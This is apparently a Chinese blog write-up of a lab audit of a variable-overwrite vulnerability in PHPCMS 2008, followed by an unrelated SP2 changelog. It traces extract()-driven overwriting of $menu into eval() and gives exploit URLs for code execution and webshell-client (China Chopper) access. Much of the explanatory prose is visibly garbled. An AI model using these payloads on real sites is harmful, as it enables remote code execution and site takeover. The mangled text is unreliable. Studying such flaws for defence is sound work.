phpcms 2008 变量覆盖漏洞

一、 启动环境

1.双击运行桌面phpstudy.exe软件
在这里插入图片描述
2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件
在这里插入图片描述
3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\ phpcms 2008),点击确定

漏洞分析

1.点击展开/yp/web/include/common.inc.php

<?php
defined('IN_PHPCMS') or exit('Access Denied');

$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
	extract($r);
}

if(!$userid)
{
	$MS['title'] = '浣犺璁块棶鐨勭珯鐐逛笉瀛樺湪';
	$MS['description'] = '璇锋牳瀵圭綉鍧€鏄惁姝g‘.';
	$MS['urls'][0] = array(
		'name'=>'璁块棶缃戠珯棣栭〉',
		'url'=>$PHPCMS['siteurl'],
		);
	$MS['urls'][1] = array(
		'name'=>'娉ㄥ唽涓烘湰绔欎細鍛?,
		'url'=>$PHPCMS['siteurl'].'member/register.php',
		);
	msg($MS);
}

程序首先赋值一个 u s e r i d 变 量 , 然 后 使 用 赋 值 完 成 变 量 拼 接 s q l 语 句 执 行 , S Q L 语 句 执 行 完 成 以 后 返 回 数 据 给 userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给 userid使sqlSQLr变量数组,如果 r 变 量 存 在 内 容 , 则 将 变 量 数 组 内 容 加 入 到 当 前 文 件 的 符 号 表 中 。 如 果 r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果 ruserid变量内容为false则将显示错误页面内容,但是目前 u s e r i d 并 没 有 找 到 在 哪 里 获 取 。 2. 如 果 userid并没有找到在哪里获取。 2.如果 userid2.userid不为false,则接着往下执行

if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';

$tpl = $companytpl_config[$tplname]['tplname'];

define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
	define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
	define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}
$menu = string2array($menu);

代码接着进行初始化模板文件,最后将 m e n u 变 量 传 输 到 s t r i n g 2 a r r a y ( ) 函 数 , 目 前 又 来 疑 问 , menu变量传输到string2array()函数,目前又来疑问, menustring2arraymenu变量从何而来?
3.现在需要了解一下string2array()到底什么作用,string2array函数存放在include/global.func.php

function string2array($data)
{
	if($data == '') return array();
	eval("\$array = $data;");
	return $array;
}

看到函数发现,内部有eval敏感函数,并且把传送过去的 m e n u 进 行 执 行 , 现 在 有 这 么 个 假 设 , 如 果 menu进行执行,现在有这么个假设,如果 menumenu变量可以控制,那么完全进行任意代码执行。
4.目前成立这个假设 u s e r i d 主 要 是 为 了 去 数 据 库 查 询 内 容 , 然 后 将 返 回 的 内 容 构 成 一 个 数 组 , 使 用 e x t r a c t ( ) 将 数 组 的 内 容 添 加 到 当 前 符 号 表 中 , 从 而 也 就 生 成 userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成 userid使extractmenu变量,如果能够让数据库返回空,不让他覆盖或者生成新的 m e n u 变 量 , 然 后 在 别 的 位 置 生 成 新 的 menu变量,然后在别的位置生成新的 menumenu变量,从而执行想执行代码。
5.在include/common.inc.php文件中,会将GET、POST、Cookie转换成变量

if($_REQUEST)
{
	if(MAGIC_QUOTES_GPC)
	{
		$_REQUEST = new_stripslashes($_REQUEST);
		if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
		extract($db->escape($_REQUEST), EXTR_SKIP);
	}
	else
	{
		$_POST = $db->escape($_POST);
		$_GET = $db->escape($_GET);
		$_COOKIE = $db->escape($_COOKIE);
		@extract($_POST,EXTR_SKIP);
		@extract($_GET,EXTR_SKIP);
		@extract($_COOKIE,EXTR_SKIP);
	}
	if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
	if($_COOKIE) $db->escape($_COOKIE);
}

所以可以利用这个位置提前生成 m e n u 变 量 和 menu变量和 menuuserid变量,并且把 u s e r i d 内 容 置 位 数 据 库 不 存 在 的 内 容 , userid内容置位数据库不存在的内容, useridmenu变量内容为想要执行的代码。

漏洞利用

1.访问

http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=phpinfo();exit;

在这里插入图片描述

菜刀直接连接

http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=exit;   
//密码 menu
PHPCMS 2008 SP2 正式版,本次提供的是GBK版本,如需要UTF8,请点这里:http://www.veryhuo.com/down/html/8389.html PHPCMS 2008 SP2 升级内容: 1、 修正了编辑文章上传图片重复生成图片文件的问题 2、 修正了同一IP 24小时允许的最大上传附件数,超过时,上传图片直接返回错误的路径,uploadfile/ 3、 修正了include/global.func.php thumb 函数问题 4、 修正了整合后,utf8 登陆乱码问题 5、 修正了内容页面分页第一页为空问题 6、 修正了专题多页分页时,导致500错误 7、 修正了在没有开启php缓存时,问吧首页无法缓存问题 8、 "FCKLang 未定义"错误的解决办法问题:属编码问题,在本机使用记事本打开fckeditor\editor\lang\zh-cn.js,不用修改任何内容,重新保存后上传服务器覆盖原文件即可解决。 9、 修正了栏目设置中在 是否添加水印设置无效 10、 修正了上传设置图片选项卡设置图片宽度无效问题 11、 修正了自定义表单 中上传条设置了后缀后,前台显示的还是所有的后缀都是可以的,实际上只有后台设置的后缀是可以上传的。 12、 修正了表单向导SQL报错问题 Parse error: syntax error, unexpected ';' 修改了模板文件/formguide/header.html {php $types = cache_read('search_type.php');} 13、 修正了表单向导在系统没有安装到根目录下时,前台上传文件打开地址路径错误 14、 修正了表单向导前台上传没有格式化上传大小字节数 15、 修正了后台界面框架调用问题 16、 修正了手动更新模板缓存后,等待页面操作成功后自动跳转返回的页面重复,显得很粗糙 17、 修正了自动提取关键词关闭后没有用,照样自动提取问题 18、 修正了表单向导,前台展示链接问题 19、 修正了表单向导,信息无法删除问题 20、 修正了专题暂停无效问题 21、 分类TYPE无法再不同模型下添加相同分类名称 22、 修正了黄页管理公司的问题 只显示前20个公司 23、 当关闭广告模块中的统计广告点击次数功能后,链接地址不正确: 24、 升级后凡是缩略图为连接的,相关地方就会出现 Warning: getimagesize 25、 JS跨站调用后,内容显示链接怎么不对 26、 评论页表情符号和换行问题 27、 碎片bug 权限 等问题 28、 修正了008sp1 整合UC 注册不能送积分 29、 修正了总编没有选择来源的权限 30、 修正了总编没有管理文章评论的权限 31、 修正了专题的动态设置无效的问题 32、 特定环境下验证码不出来问题 33、 广告模块添加flash广告后,修改是没有取值 34、 修正了修改产品信息的时候,同时更新产品的更新时间 35、 修正了分页子标题也解析关联链接 36、 修正了 MySQL Query : INSERT INTO `phpcms_keyword` (`tag`,`usetimes`,`lastusetime`) VALUES('启示','1','1243414371') MySQL Error : Duplicate entry '' for key 2 37、 修正了IE8 下面兼容问题 38、 php 最新版本下出现的问题 程序乱码显示 39、 修正了模块下面的header.tpl.php 头部文件标准需要统一 40、 修正了升级后,修改内容后,原升级地址被修改 41、 直接访问header.tpl.php 暴漏网站安装地址问题 42、 邮件发送在不同环境下,发送失败问题、 43、 修正了水印问题 44、 修正了 广告被屏蔽 把 ads 里面的 clickads.php点击里面带有 ads的问题 45、 修正了文章发表成功后,再修改文章将其选择为待审。提示操作成功。但未成功的问题 46、 修正了 member_cache 表和 member 数据条数不一致的时候,导致全站白屏问题 47、 修正了专题的动态设置无效 设置生成静态为“否”多时候 网站不能以动态模式浏览 48、 修正了专题分类和专题在重新设置模块的“是否生成html”后,需要手动的一个个修改专题,和分类才可以修复链接地址 49、 MySQL Query : UPDATE `phpcms2008_category` SET `pitems`=`pitems` 1 WHERE `catid` IN () MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 MySQL Errno : 1064 Message : MySQL Query Error 在未修复栏目前,添加信息出错的问题。--已解决 50、 修正了specail 标签中未增加调用, disabled=0 51、 删除文件:admin/mymap.inc.php 52、 修正了管理组帐号被禁用后,仍然可以访问后台。 53、 商务中心的产品和商机管理等几个页面的"点击"量一直显示为"0" 产品,商机等内容页面的浏览量显示为:"0" 54、 修正了黄页企业页面的联系方式栏目有"传真"和"邮编",但是没有地方填加这两项信息. 55、 修正了添加栏目多的话,程序执行缓慢 56、 内容分页有问题.第一页显示不了; [page]***[/page] 插入这样的分页符,第一页看不到. 57、 更新全文所有无法更新不存在searchid 的文章索引 58、 修正了人才推荐标签的问题 59、 修正了产品排序的问题 60、 新增企业黄页栏目分级浏览 栏目太多问题 61、 新增CNZZ站长统计功能 62、 新增表单向导 统计功能 63、 增加了IE8 下 后台兼容问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值